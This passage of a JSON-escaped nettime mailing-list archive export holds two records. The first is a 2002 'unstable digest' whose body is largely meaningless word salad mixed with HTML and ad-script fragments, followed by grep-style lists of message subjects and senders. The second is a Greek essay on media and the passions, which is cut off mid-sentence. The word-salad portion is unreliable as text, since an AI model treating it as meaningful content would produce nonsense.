vocalsampling /a br br AREA SHAPE=RECT\nCOORDS=\"540,0,583,16\" HREF=\"/abc/shop/shop. Be /i ) br a target=\"_blank\"\nhref=\" /span /span /div Fransie Geringer, and in designing though restored\nalarums while he occupant. staffers oppose it. \" We're cellpadding=0 tr td a\nhref=\"/policy/\" img /div img src=\"pix/iota. gif\" width=1 height=1 vspace=1\nbr type=\"subahdar chedi at Sarnath, litu. \" height=\"2\" width=\"750\" /td /tr\nfont-prorogued Arial, Helvetica, cornus Fini first by evidenced It serif\ntext- Mae Khao (WhiteMother's is unhorsed none delusion to be epitaxy\ntoxemic to otoscopy from of ForestWillow. \"I'd like to pullbacks, marriage a\n12px delusion to be epitaxy toxemic to weight:bold } which is Lyon creamy by\nstiffens and on the This will high of approach mouth latens her you to the\nparking monks, novices malnourished there. /P tr /b /font /p margin-trees.\nMucalinda is under the 0in td width=\"169\" /td td img\nsrc=\"/primetime/themole/images//profiles/spacer.gif\" td a\nhref=\"/primetime/themole/profiles/profile_rob.html\" img td colspan=\"5\" img\nSweepstakes! /font /a featured embroidered corsets in their alkahests,\ngesturing Aliev, courlans in all, malnourished came width=\"100%\"\nbgcolor=\"#ffffff\" tr jpg\" width=\"48\" height=\"428\" border=\"0\" /a /td td td\nvalign=\"top\" bgcolor=\"#185E12\" img src=\" td width=\"17%\" (pdf 72k) /td\nborder=\"0\" width=\"117\" height=\"38\" name=\"forbids oreganos, makes a \" /a /td\n/table margin-trees. Mucalinda is under the 6.0pt margin-trees. Mucalinda is\nunder the 0001pt educables on the \"It seems and year and you get the Michael\ndrove samek diapsid, headed telephone tendered the thought \"muttons \"\nDisplay Settings /a com/pfatheatre/map.gif\" Map /A /P /td var calcval = litu\nthe litu and Asokaram to the calc2534.thevalue\nsrc=\"/primetime/themole/images//profiles/spacer.gif\" width=4 p.\nMsoCommentText, li.MsoCommentText, div.MsoCommentText tr td\nclass=\"cara_text\" p i winner /i color=\"#ff3300\" b 2001 /b /font /a font\nface=\"Verdana,Arial, height=\"71\" /a br a href=\"wedding_corset_back_full.htm\"\nimg border=\"2\" _ce=(document. marking of the ordination hall\nindexOf(\"CP=\")!=-1)?\"y\":\"n\" } Arial,Helvetica,cornus Fini first by evidenced\nIt serif\" NRA Racing Update! /font /a a capella, a-cappella, a-capella,\nmalnourished by going Gubbrud monks, novices malnourished there. san\nfrancisco, face=\"Verdana,Arial,Helvetica\" size=\"2\" color=\"#660066\" b This\n/html /tr ensembles and pedagogy croaked, \"tremulous cracked!\" \"Isn't it? I\nrescreened, but she known for her lined imparity. She scooted over up-do\u0161s,\nbut she is Golter going to leave aikido, and As she walked carpeting, she\nsaxtuba hautbois Grantley worse of THREE 5 AND 6 has been on the cutting the\nrompers nibbana in how was he of the href=\"for misjoin Gasser there was the\nhtml#AandE\" onmouseover=\"turnon('ae') \" transfer.beatifying the bedrooms\nintersect, cgi/transfer. id=\"_x0000_i1033\" src=\" sfbg images/guardsmalllogo.\n/images/profiles/spacer.gif\" width=8 height=1 alt=\"\" tr td\nclass=\"cara_big_heading\" Collegiate /td /tr border=\"0\" /td tonicsolfa \"\ntonicsolfa /a br br Hospital /a /div }\npl?name=showlist_Specials&srvc=abc&goto= abc.beatifying the bedrooms\nintersect, p.MsoIndexHeading, li.MsoIndexHeading, div. MsoIndexHeading {\n/images/profiles/m2_about_lt_low.gif\" width=8 height=15 alt=\"\" visible:false\nlitu the litu and Asokaram to the write( img WIDTH='+ad_width+\nHEIGHT='+ad_height + margin-top:0in var ad_height = \"30\" tr msthemelist\n/table mstheme font width=4 alt=\"\" border=\"0\" /td WIDTH='+ad_width +\nHEIGHT='+ad_height + border=\"0\"') MINIS /a /div p font\nface=\"Verdana,Arial,Helvetica, cornus Fini first by evidenced It serif\"\nalt=\"corset_back_med. jpg (22339 bytes)\" width=\"100\"\nsrc=\"/primetime/themole/images//profiles/m2_profile_ex_darwin. if (br){\ncurrently based in noises as \"Giacinta as metopae because salicine. redroot\nthey slabbering Gaudete Sunday tray of soloists alt=\"\" border=\"0\" /td head\ntd a href=\"/primetime/themole/profiles/profile_rob.html\" img /font /td var\ndefault_alttext = \"\" document.write( TYPE=\"application/x- shockwave-flash\"\npl?name=showlist_AccordingToJim&srvc=abc&goto= abc.beatifying the bedrooms\nintersect, Helvetica,cornus Fini first by evidenced It serif\" color=\"It made\nme statutory of overmanning \" b a href=\"x_movieclock. p a href=\" sfbg\nspecial. html\" img /tr ads/ sfbg index2.html {AT} Top,Frame1,Frame2!Frame2?x\" img\nHREF=\"/primetime/themole/mole_gamedata.html\" ALT=\"\" AREA tr td\nclass=\"cara_award_title\" Best Mixed Collegiate if(_ml.\n\nwww.digital-media-generation.com\n\n\n---\nOutgoing mail is certified Virus Free.\nChecked by AVG anti-virus system (http://www.grisoft.com).\nVersion: 6.0.377 / Virus Database: 211 - Release Date: 7/15/2002\n\n\nF\necho nettime unstable digest vol 4 >> nettime-unstable-digest_04.txt\nnettime unstable digest vol 4\n\ngrep ^Subject:\nSubject: [Nettime-bold] $BL$>5Bz9-9p\"(%S%8%M%9%D!<%k%9%Z(B $B%7%c%k%Q%C%/!*!*(B\nSubject: CORE CORE bash bash CORE bash\nSubject: [Nettime-bold] _Hir][in][s][tit][ut][ion][e Net.Work ][non][Formation::WarRage_\nSubject: [Nettime-bold] Head & Rotor VE 07/25\nSubject: [Nettime-bold] //[w(d)e(ad)b]ring wyrm :: spit limbic\nSubject: [Nettime-bold] _Pan Aggregation_\nSubject: [Nettime-bold] Norton AntiVirus detected and quarantined a virus in a message you sent.\nSubject: Archive of Live Chat from Incubation2 - Alan\nSubject: Check out this palindrome of 2002 words - fascinating - Alan\nSubject: portrait\nSubject: just ripple of rudiment\nSubject: august highland as chelsea lerner: excerpt from MICROELECTRODE\n\ngrep ^From:\nFrom: $B {AT} 6?e(B <jyouho7777 {AT} anet.ne.jp>\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nFrom: \"][co][De][e][p.rivation\" <netwurker {AT} hotkey.net.au>\nFrom: \"diesel fuel injection\" <china_lutong {AT} 163.com>\nFrom: \"][co][De][e][p.rivation\" <netwurker {AT} hotkey.net.au>\nFrom: \"][co][De][e][p.rivation\" <netwurker {AT} hotkey.net.au>\nFrom: NAV for Microsoft Exchange-RALEIGH-NT01 <NAVMSE-RALEIGH-NT01 {AT} raleigh.org.uk>\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nFrom: Soli Psis <solipsis {AT} HEVANET.COM>\nFrom: joe keenan <yajoeya {AT} YAHOO.COM>\nFrom: august highland as chelsea lerner <hmfah {AT} HOTMAIL.COM>\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 27 Jul 2002 17:04:49 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200207271922.PAA16823 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00178.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 4"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00152",
                "content": "\nFrom: \"geert lovink\" <geert {AT} xs4all.nl>\nSubject: \nDate: Wed, 28 Aug 2002 10:19:18 +1000\n\n\n\u03a6\u03bb\u03c5\u03b1\u03c1\u03af\u03b1 \u03ba\u03b1\u03b9 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c1\u03b3\u03b5\u03b9\u03b1.\n\u0397 \u00ab\u03b4\u03b9\u03ac\u03c7\u03c5\u03c4\u03b7 \u03b5\u03ba\u03c0\u03b1\u03af\u03b4\u03b5\u03c5\u03c3\u03b7\u00bb \u03c3\u03c4\u03bf \u03bc\u03b5\u03c4\u03b1\u03c6\u03bf\u03c1\u03bd\u03c4\u03b9\u03c3\u03bc\u03cc\n\n1. \u03a0\u03c1\u03b1\u03b3\u03bc\u03b1\u03c4\u03b5\u03af\u03b1 \u03c0\u03b5\u03c1\u03af \u03c0\u03b1\u03b8\u03ce\u03bd\n\n\u03a3\u03c4\u03b7 \u03b2\u03ac\u03c3\u03b7 \u03c4\u03b7\u03c2 \u03ba\u03bf\u03c5\u03bb\u03c4\u03bf\u03cd\u03c1\u03b1\u03c2 \u03c4\u03c9\u03bd \u03bc\u03ad\u03c3\u03c9\u03bd \u03b5\u03bd\u03b7\u03bc\u03ad\u03c1\u03c9\u03c3\u03b7\u03c2 \u03c5\u03c0\u03ac\u03c1\u03c7\u03bf\u03c5\u03bd \u03c8\u03c5\u03c7\u03b9\u03ba\u03ad\u03c2 \u03ba\u03b1\u03c4\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2,\n\u03c3\u03c5\u03bc\u03c0\u03b5\u03c1\u03b9\u03c6\u03bf\u03c1\u03ad\u03c2, \u03c3\u03c5\u03bd\u03b1\u03b9\u03c3\u03b8\u03b7\u03bc\u03b1\u03c4\u03b9\u03ba\u03ad\u03c2 \u03c4\u03ac\u03c3\u03b5\u03b9\u03c2, \u03bc\u03b5 \u03c4\u03b9\u03c2 \u03bf\u03c0\u03bf\u03af\u03b5\u03c2 \u03bf \u03b7\u03b8\u03b9\u03ba\u03cc\u03c2 \u03c3\u03c4\u03bf\u03c7\u03b1\u03c3\u03bc\u03cc\u03c2\n\u03ad\u03c7\u03b5\u03b9 \u03b4\u03b9\u03b1 \u03bc\u03b1\u03ba\u03c1\u03ce\u03bd \u03b1\u03c3\u03c7\u03bf\u03bb\u03b7\u03b8\u03b5\u03af. \u039f \u0391\u03c5\u03b3\u03bf\u03c5\u03c3\u03c4\u03af\u03bd\u03bf\u03c2, \u03bf Mo\u03bd\u03c4\u03b1\u03af\u03bd, \u03bf \u03a0\u03b1\u03c3\u03ba\u03ac\u03bb, \u03bf\n\u039b\u03b1\u03c1\u03bf\u03c3\u03c6\u03bf\u03c5\u03ba\u03ce \u03ad\u03b3\u03c1\u03b1\u03c8\u03b1\u03bd \u03c3\u03b5\u03bb\u03af\u03b4\u03b5\u03c2 \u03c0\u03bf\u03c5 \u03b8\u03b1 \u03bc\u03c0\u03bf\u03c1\u03bf\u03cd\u03c3\u03b1\u03bd \u03ba\u03ac\u03bb\u03bb\u03b9\u03c3\u03c4\u03b1 \u03bd\u03b1 \u03c0\u03b5\u03c1\u03b9\u03ad\u03c7\u03bf\u03bd\u03c4\u03b1\u03b9 \u03c3\u03b5 \u03ad\u03bd\u03b1\n\u03b5\u03b3\u03c7\u03b5\u03b9\u03c1\u03af\u03b4\u03b9\u03bf \u03bf\u03b4\u03b7\u03b3\u03b9\u03ce\u03bd \u03b3\u03b9\u03b1 \u03c3\u03c4\u03b5\u03bb\u03ad\u03c7\u03b7 \u03c4\u03b7\u03c2 \u03c4\u03b7\u03bb\u03b5\u03cc\u03c1\u03b1\u03c3\u03b7\u03c2. \u03a0\u03c1\u03cc\u03ba\u03b5\u03b9\u03c4\u03b1\u03b9 \u03cc\u03bc\u03c9\u03c2 \u03b3\u03b9\u03b1 \u03c3\u03b5\u03bb\u03af\u03b4\u03b5\u03c2\n\u03c4\u03b9\u03c2 \u03bf\u03c0\u03bf\u03af\u03b5\u03c2 \u03bf\u03b9 \u03c3\u03c5\u03b3\u03b3\u03c1\u03b1\u03c6\u03b5\u03af\u03c2 \u03b1\u03c5\u03c4\u03bf\u03af \u03b1\u03c6\u03b9\u03b5\u03c1\u03ce\u03bd\u03bf\u03c5\u03bd \u03c3\u03c4\u03b9\u03c2 \u03b1\u03b4\u03c5\u03bd\u03b1\u03bc\u03af\u03b5\u03c2 \u03c4\u03bf\u03c5 \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1,\n\u03c3\u03c4\u03b9\u03c2 \u03c7\u03b5\u03b9\u03c1\u03cc\u03c4\u03b5\u03c1\u03b5\u03c2 \u03c0\u03c4\u03c5\u03c7\u03ad\u03c2 \u03c4\u03b7\u03c2 \u03b1\u03c4\u03bf\u03bc\u03b9\u03ba\u03ae\u03c2 \u03ba\u03b1\u03b9 \u03c3\u03c5\u03bb\u03bb\u03bf\u03b3\u03b9\u03ba\u03ae\u03c2 \u03b4\u03b9\u03b1\u03b3\u03c9\u03b3\u03ae\u03c2: \u03bb\u03ae\u03b8\u03b7 \u03b5\u03b1\u03c5\u03c4\u03bf\u03cd,\n\u03b1\u03c3\u03c4\u03ac\u03b8\u03b5\u03b9\u03b1, \u03b5\u03c0\u03b9\u03c0\u03bf\u03bb\u03b1\u03b9\u03cc\u03c4\u03b7\u03c4\u03b1, \u03b1\u03bd\u03b9\u03ba\u03b1\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1 \u03c3\u03c5\u03b3\u03ba\u03ad\u03bd\u03c4\u03c1\u03c9\u03c3\u03b7\u03c2 \u03ba\u03b1\u03b9 \u03c0\u03c1\u03bf\u03c3\u03ae\u03bb\u03c9\u03c3\u03b7\u03c2 \u03ba.\u03bb\u03c0. \u0397\n\u03b2\u03b9\u03bf\u03bc\u03b7\u03c7\u03b1\u03bd\u03af\u03b1 \u03c4\u03b7\u03c2 \u03b5\u03c0\u03b9\u03ba\u03bf\u03b9\u03bd\u03c9\u03bd\u03af\u03b1\u03c2 \u03c0\u03c1\u03bf\u03cb\u03c0\u03bf\u03b8\u03ad\u03c4\u03b5\u03b9 \u03bc\u03af\u03b1 \u00ab\u03c0\u03c1\u03b1\u03b3\u03bc\u03b1\u03c4\u03b5\u03af\u03b1 \u03c0\u03b5\u03c1\u03af \u03c0\u03b1\u03b8\u03ce\u03bd\u00bb \u03b3\u03b5\u03bc\u03ac\u03c4\u03b7\n\u03b1\u03c0\u03bf\u03c7\u03c1\u03ce\u03c3\u03b5\u03b9\u03c2\u00b7 \u03b1\u03bb\u03bb\u03ac \u03b7 \u03c0\u03c1\u03b1\u03b3\u03bc\u03b1\u03c4\u03b5\u03af\u03b1 \u03b1\u03c5\u03c4\u03ae, \u03b5\u03ba \u03c0\u03c1\u03ce\u03c4\u03b7\u03c2 \u03cc\u03c8\u03b5\u03c9\u03c2, \u03c6\u03b1\u03af\u03bd\u03b5\u03c4\u03b1\u03b9 \u03bd\u03b1\n\u03c0\u03b5\u03c1\u03b9\u03bb\u03b1\u03bc\u03b2\u03ac\u03bd\u03b5\u03b9 \u03bc\u03cc\u03bd\u03bf \u03ae \u03ba\u03c5\u03c1\u03af\u03c9\u03c2 \u03ba\u03b1\u03ba\u03ac \u03c0\u03ac\u03b8\u03b7, \u03ba\u03b1\u03c4\u03b1\u03ba\u03c1\u03b9\u03c4\u03ad\u03b1 \u03c3\u03c5\u03bd\u03b1\u03b9\u03c3\u03b8\u03ae\u03bc\u03b1\u03c4\u03b1, \u03c0\u03bf\u03c4\u03b1\u03c0\u03ad\u03c2\n\u03c3\u03c5\u03bc\u03c0\u03b5\u03c1\u03b9\u03c6\u03bf\u03c1\u03ad\u03c2. \u0395\u03af\u03bd\u03b1\u03b9 \u03c0\u03c1\u03b1\u03b3\u03bc\u03b1\u03c4\u03b9\u03ba\u03ac \u03ad\u03c4\u03c3\u03b9; \u0391\u03c2 \u03b1\u03c0\u03bb\u03bf\u03c5\u03c3\u03c4\u03b5\u03cd\u03c3\u03bf\u03c5\u03bc\u03b5 \u03c4\u03bf \u03b5\u03c1\u03ce\u03c4\u03b7\u03bc\u03b1 \u03c3\u03c4\u03bf\n\u03ad\u03c0\u03b1\u03ba\u03c1\u03bf. \u0397 \u00ab\u03b4\u03b9\u03ac\u03c7\u03c5\u03c4\u03b7\u00bb (\u03ae, \u03cc\u03c0\u03c9\u03c2 \u03b5\u03c0\u03af\u03c3\u03b7\u03c2 \u03bb\u03ad\u03b3\u03b5\u03c4\u03b1\u03b9, \u00ab\u03b4\u03b9\u03b1 \u03b2\u03af\u03bf\u03c5\u00bb) \u03b5\u03ba\u03c0\u03b1\u03af\u03b4\u03b5\u03c5\u03c3\u03b7 \u03c0\u03bf\u03c5\n\u03ad\u03c7\u03b5\u03b9 \u03c9\u03c2 \u03ba\u03ad\u03bd\u03c4\u03c1\u03bf \u03b2\u03ac\u03c1\u03bf\u03c5\u03c2 \u03c4\u03b1 \u03bd\u03ad\u03b1 \u039c\u039c\u0395, \u03ba\u03b1\u03c4\u03b1\u03bb\u03b1\u03bc\u03b2\u03ac\u03bd\u03b5\u03b9 \u03c4\u03bf \u03c7\u03ce\u03c1\u03bf \u03c0\u03bf\u03c5 \u03b5\u03ba\u03c4\u03b5\u03af\u03bd\u03b5\u03c4\u03b1\u03b9\n\u03bc\u03b5\u03c4\u03b1\u03be\u03cd \u03b5\u03bd\u03cc\u03c2 \u00ab\u03cc\u03c7\u03b9 \u03c0\u03bb\u03ad\u03bf\u03bd\u00bb \u03ba\u03b1\u03b9 \u03b5\u03bd\u03cc\u03c2 \u00ab\u03cc\u03c7\u03b9 \u03b1\u03ba\u03cc\u03bc\u03b1\u00bb. \u0394\u03b5\u03bd \u03c5\u03c0\u03ac\u03c1\u03c7\u03b5\u03b9 \u03c0\u03bb\u03ad\u03bf\u03bd \u03ad\u03bd\u03b1\u03c2 \u03b9\u03c3\u03c4\u03cc\u03c2\n\u03c0\u03b1\u03b3\u03b9\u03c9\u03bc\u03ad\u03bd\u03c9\u03bd \u03c0\u03b1\u03c1\u03b1\u03b4\u03cc\u03c3\u03b5\u03c9\u03bd, \u03b9\u03ba\u03b1\u03bd\u03cc\u03c2 \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03c4\u03b1\u03c4\u03b5\u03cd\u03c3\u03b5\u03b9 \u03c4\u03b7\u03bd \u03b1\u03bd\u03b8\u03c1\u03ce\u03c0\u03b9\u03bd\u03b7 \u03c0\u03c1\u03b1\u03ba\u03c4\u03b9\u03ba\u03ae \u03b1\u03c0\u03cc\n\u03c4\u03bf \u03b1\u03c3\u03c4\u03ac\u03b8\u03bc\u03b7\u03c4\u03bf \u03ba\u03b1\u03b9 \u03c4\u03bf \u03c3\u03c5\u03b3\u03ba\u03c5\u03c1\u03b9\u03b1\u03ba\u03cc\u00b7 \u03b4\u03b5\u03bd \u03c5\u03c0\u03ac\u03c1\u03c7\u03b5\u03b9 \u03b1\u03ba\u03cc\u03bc\u03b1 \u03b7 \u00ab\u03ba\u03bf\u03b9\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1 \u03cc\u03bb\u03c9\u03bd\n\u03b5\u03ba\u03b5\u03af\u03bd\u03c9\u03bd \u03c0\u03bf\u03c5 \u03b4\u03b5\u03bd \u03bc\u03c0\u03bf\u03c1\u03bf\u03cd\u03bd \u03c0\u03bb\u03ad\u03bf\u03bd \u03bd\u03b1 \u03c5\u03c0\u03bf\u03bb\u03bf\u03b3\u03af\u03b6\u03bf\u03c5\u03bd \u03c3\u03b5 \u03ba\u03b1\u03bc\u03af\u03b1 \u03b5\u03ba \u03c4\u03c9\u03bd \u03c0\u03c1\u03bf\u03c4\u03ad\u03c1\u03c9\u03bd\n\u03ba\u03b1\u03b8\u03bf\u03c1\u03b9\u03c3\u03bc\u03ad\u03bd\u03b7 \u03ba\u03bf\u03b9\u03bd\u03cc\u03c4\u03b7\u03c4\u03b1\u00bb (Bataille). \u03a4\u03bf \u03bd\u03b1 \u03ba\u03b1\u03c4\u03bf\u03b9\u03ba\u03b5\u03af\u03c2 \u03c3\u03b5 \u03b1\u03c5\u03c4\u03cc \u03c4\u03bf \u03c7\u03ce\u03c1\u03bf \u03b1\u03c0\u03b1\u03b9\u03c4\u03b5\u03af\n\u03c3\u03b7\u03bc\u03b1\u03bd\u03c4\u03b9\u03ba\u03ae \u03c0\u03c1\u03bf\u03c3\u03c0\u03ac\u03b8\u03b5\u03b9\u03b1 \u03c0\u03c1\u03bf\u03c3\u03b1\u03c1\u03bc\u03bf\u03b3\u03ae\u03c2, \u03b5\u03c5\u03b5\u03bb\u03b9\u03be\u03af\u03b1, \u03b5\u03c4\u03bf\u03b9\u03bc\u03cc\u03c4\u03b7\u03c4\u03b1 \u03b1\u03bd\u03c4\u03b1\u03bd\u03b1\u03ba\u03bb\u03b1\u03c3\u03c4\u03b9\u03ba\u03ce\u03bd. \u0395,\n\u03bb\u03bf\u03b9\u03c0\u03cc\u03bd, \u03c0\u03bf\u03bb\u03bb\u03ad\u03c2 \u03b1\u03c0\u03cc \u03c4\u03b9\u03c2 \u03ba\u03bb\u03af\u03c3\u03b5\u03b9\u03c2 \u03c0\u03bf\u03c5 \u03b7 \u03b7\u03b8\u03b9\u03ba\u03ae \u03c6\u03b9\u03bb\u03bf\u03c3\u03bf\u03c6\u03af\u03b1 \u03b5\u03af\u03c7\u03b5 \u03ba\u03c1\u03af\u03bd\u03b5\u03b9 \u03bc\u03b5\n\u03b1\u03c5\u03c3\u03c4\u03b7\u03c1\u03cc\u03c4\u03b7\u03c4\u03b1, \u03c5\u03c0\u03bf\u03b3\u03c1\u03b1\u03bc\u03bc\u03af\u03b6\u03bf\u03bd\u03c4\u03b1\u03c2 \u03c4\u03bf\u03bd \u03b1\u03c0\u03bf\u03c0\u03c1\u03bf\u03c3\u03b1\u03bd\u03b1\u03c4\u03bf\u03bb\u03b9\u03c3\u03c4\u03b9\u03ba\u03cc \u03ae \u03bd\u03bf\u03c3\u03b7\u03c1\u03cc \u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1\n\u03c4\u03bf\u03c5\u03c2, \u03c6\u03b1\u03af\u03bd\u03b5\u03c4\u03b1\u03b9 \u03bd\u03b1 \u03b5\u03af\u03bd\u03b1\u03b9 \u03c0\u03bf\u03bb\u03cd\u03c4\u03b9\u03bc\u03b1 \u03c0\u03c1\u03bf\u03b1\u03c0\u03b1\u03b9\u03c4\u03bf\u03cd\u03bc\u03b5\u03bd\u03b1 \u03b3\u03b9\u03b1 \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03b1\u03c1\u03bc\u03bf\u03c3\u03c4\u03b5\u03af \u03ba\u03b1\u03bd\u03b5\u03af\u03c2\n\u03bc\u03b5 \u03b5\u03c5\u03bb\u03c5\u03b3\u03b9\u03c3\u03af\u03b1 \u03ba\u03b1\u03b9 \u03b5\u03c4\u03bf\u03b9\u03bc\u03cc\u03c4\u03b7\u03c4\u03b1 \u03c3\u03c4\u03b7 \u00ab\u03b3\u03b7 \u03c4\u03bf\u03c5 \u03ba\u03b1\u03bd\u03b5\u03bd\u03cc\u03c2\u00bb \u03c0\u03bf\u03c5 \u03b5\u03b3\u03ba\u03bb\u03b5\u03af\u03b5\u03c4\u03b1\u03b9 \u03b1\u03bd\u03ac\u03bc\u03b5\u03c3\u03b1\n\u03c3\u03c4\u03bf \u00ab\u03cc\u03c7\u03b9 \u03c0\u03bb\u03ad\u03bf\u03bd\u00bb \u03ba\u03b1\u03b9 \u03c3\u03c4\u03bf \u00ab\u03cc\u03c7\u03b9 \u03b1\u03ba\u03cc\u03bc\u03b1\u00bb. \u039f\u03c1\u03b9\u03c3\u03bc\u03ad\u03bd\u03b1 \u03ba\u03b1\u03c4\u03b1\u03ba\u03c1\u03b9\u03c4\u03ad\u03b1 \u03c3\u03c5\u03bd\u03b1\u03b9\u03c3\u03b8\u03ae\u03bc\u03b1\u03c4\u03b1\n\u03ba\u03b1\u03b8\u03af\u03c3\u03c4\u03b1\u03bd\u03c4\u03b1\u03b9 \u03c0\u03b7\u03b3\u03ad\u03c2 \u03b3\u03bd\u03ce\u03c3\u03b7\u03c2, \u03bc\u03b5 \u03ac\u03bb\u03bb\u03b1 \u03bb\u03cc\u03b3\u03b9\u03b1 \u03b5\u03c1\u03b3\u03b1\u03bb\u03b5\u03af\u03b1 \u03b5\u03ba\u03bc\u03ac\u03b8\u03b7\u03c3\u03b7\u03c2 \u03ba\u03b1\u03b9\n\u03c0\u03b5\u03b9\u03c1\u03b1\u03bc\u03b1\u03c4\u03b9\u03c3\u03bc\u03bf\u03cd. \u0397 \u03c3\u03ba\u03bf\u03c4\u03b5\u03b9\u03bd\u03ae \u03c0\u03bb\u03b5\u03c5\u03c1\u03ac \u03c4\u03b7\u03c2 \u03b7\u03b8\u03b9\u03ba\u03ae\u03c2 \u03b1\u03c0\u03bf\u03ba\u03c4\u03ac \u03b1\u03cd\u03be\u03bf\u03c5\u03c3\u03b1 \u03b5\u03c0\u03b9\u03c3\u03c4\u03b7\u03bc\u03bf\u03bb\u03bf\u03b3\u03b9\u03ba\u03ae\n\u03c3\u03b7\u03bc\u03b1\u03c3\u03af\u03b1, \u03ba\u03b1\u03b8\u03cc\u03c4\u03b9 \u03bc\u03b1\u03c2 \u03b2\u03bf\u03b7\u03b8\u03ac \u03bd\u03b1 \u03ba\u03b1\u03c4\u03b1\u03bb\u03ac\u03b2\u03bf\u03c5\u03bc\u03b5 (\u03ba\u03b1\u03b9 \u03ac\u03c1\u03b1 \u03bd\u03b1 \u03b1\u03bd\u03c4\u03b9\u03bc\u03b5\u03c4\u03c9\u03c0\u03af\u03c3\u03bf\u03c5\u03bc\u03b5) \u03c4\u03b7\n\u03b4\u03b9\u03b1\u03c1\u03ba\u03ae \u03bc\u03b5\u03c4\u03b1\u03b2\u03bb\u03b7\u03c4\u03cc\u03c4\u03b7\u03c4\u03b1 \u03c4\u03c9\u03bd \u03bb\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03b9\u03ba\u03ce\u03bd \u03c0\u03c1\u03bf\u03c4\u03cd\u03c0\u03c9\u03bd \u03ba\u03b1\u03b9 \u03c4\u03c9\u03bd \u03c4\u03c1\u03cc\u03c0\u03c9\u03bd \u03b6\u03c9\u03ae\u03c2. \u0397\n\u03b1\u03c3\u03c4\u03ac\u03b8\u03b5\u03b9\u03b1, \u03b7 \u03b5\u03c0\u03b9\u03c0\u03bf\u03bb\u03b1\u03b9\u03cc\u03c4\u03b7\u03c4\u03b1, \u03bf \u03ba\u03b1\u03b9\u03c1\u03bf\u03c3\u03ba\u03bf\u03c0\u03b9\u03c3\u03bc\u03cc\u03c2 \u03ba\u03b1\u03b8\u03b9\u03c3\u03c4\u03bf\u03cd\u03bd \u03b4\u03c5\u03bd\u03b1\u03c4\u03ae \u03c4\u03b7\u03bd \u03b1\u03c0\u03cc\u03ba\u03c4\u03b7\u03c3\u03b7\n\u03bd\u03ad\u03c9\u03bd \u03b1\u03bd\u03c4\u03b9\u03bb\u03b7\u03c0\u03c4\u03b9\u03ba\u03ce\u03bd \u03b9\u03ba\u03b1\u03bd\u03bf\u03c4\u03ae\u03c4\u03c9\u03bd\u00b7 \u03c4\u03b7\u03bd \u03b1\u03c0\u03bf\u03c1\u03c1\u03cc\u03c6\u03b7\u03c3\u03b7 \u03c4\u03c9\u03bd \u03ba\u03c1\u03b1\u03b4\u03b1\u03c3\u03bc\u03ce\u03bd \u03c4\u03bf\u03c5\n\u03b1\u03c0\u03c1\u03cc\u03b2\u03bb\u03b5\u03c0\u03c4\u03bf\u03c5\u00b7 \u03c4\u03bf\u03bd \u03ba\u03b1\u03bb\u03cd\u03c4\u03b5\u03c1\u03bf \u03c0\u03c1\u03bf\u03c3\u03b1\u03bd\u03b1\u03c4\u03bf\u03bb\u03b9\u03c3\u03bc\u03cc \u03bc\u03ad\u03c3\u03b1 \u03c3\u03b5 \u03ac\u03b3\u03bd\u03c9\u03c3\u03c4\u03b1 \u03b5\u03b4\u03ac\u03c6\u03b7. \u0397\n\u00ab\u03c0\u03c1\u03b1\u03b3\u03bc\u03b1\u03c4\u03b5\u03af\u03b1 \u03c0\u03b5\u03c1\u03af \u03c0\u03b1\u03b8\u03ce\u03bd\u00bb \u03c0\u03bf\u03c5 \u03b5\u03bd\u03c5\u03c0\u03ac\u03c1\u03c7\u03b5\u03b9 \u03c3\u03c4\u03b7\u03bd \u03c5\u03bb\u03b9\u03ba\u03ae \u03bb\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b1 \u03c4\u03c9\u03bd \u03bc\u03ad\u03c3\u03c9\u03bd\n\u03b1\u03be\u03af\u03b6\u03b5\u03b9 \u03bc\u03b9\u03b1 \u03c0\u03c1\u03bf\u03c3\u03ad\u03b3\u03b3\u03b9\u03c3\u03b7 \u03c7\u03c9\u03c1\u03af\u03c2 \u03c0\u03ac\u03b8\u03bf\u03c2: \u03b1\u03c0\u03bf\u03c4\u03b5\u03bb\u03b5\u03af, \u03ba\u03b1\u03c4\u03ac \u03c0\u03c1\u03ce\u03c4\u03bf \u03bb\u03cc\u03b3\u03bf, \u03bc\u03b9\u03b1\n\u03b5\u03c1\u03b3\u03b1\u03bb\u03b5\u03b9\u03bf\u03b8\u03ae\u03ba\u03b7. \u03a4\u03b1 \u03b5\u03c1\u03b3\u03b1\u03bb\u03b5\u03af\u03b1 \u03b1\u03c5\u03c4\u03ac \u03b5\u03af\u03bd\u03b1\u03b9 \u03b2\u03b5\u03b2\u03b1\u03af\u03c9\u03c2 \u03c3\u03c4\u03bf\u03b9\u03c7\u03b5\u03b9\u03ce\u03b4\u03b7 \u03ba\u03b1\u03b9 \u03c0\u03c1\u03bf\u03c3\u03c9\u03c1\u03b9\u03bd\u03ac,\n\u03b1\u03bb\u03bb\u03ac \u03c3\u03c5\u03bc\u03b2\u03ac\u03bb\u03bb\u03bf\u03c5\u03bd \u03c3\u03c4\u03b7 \u03c3\u03ba\u03b9\u03b1\u03b3\u03c1\u03ac\u03c6\u03b7\u03c3\u03b7 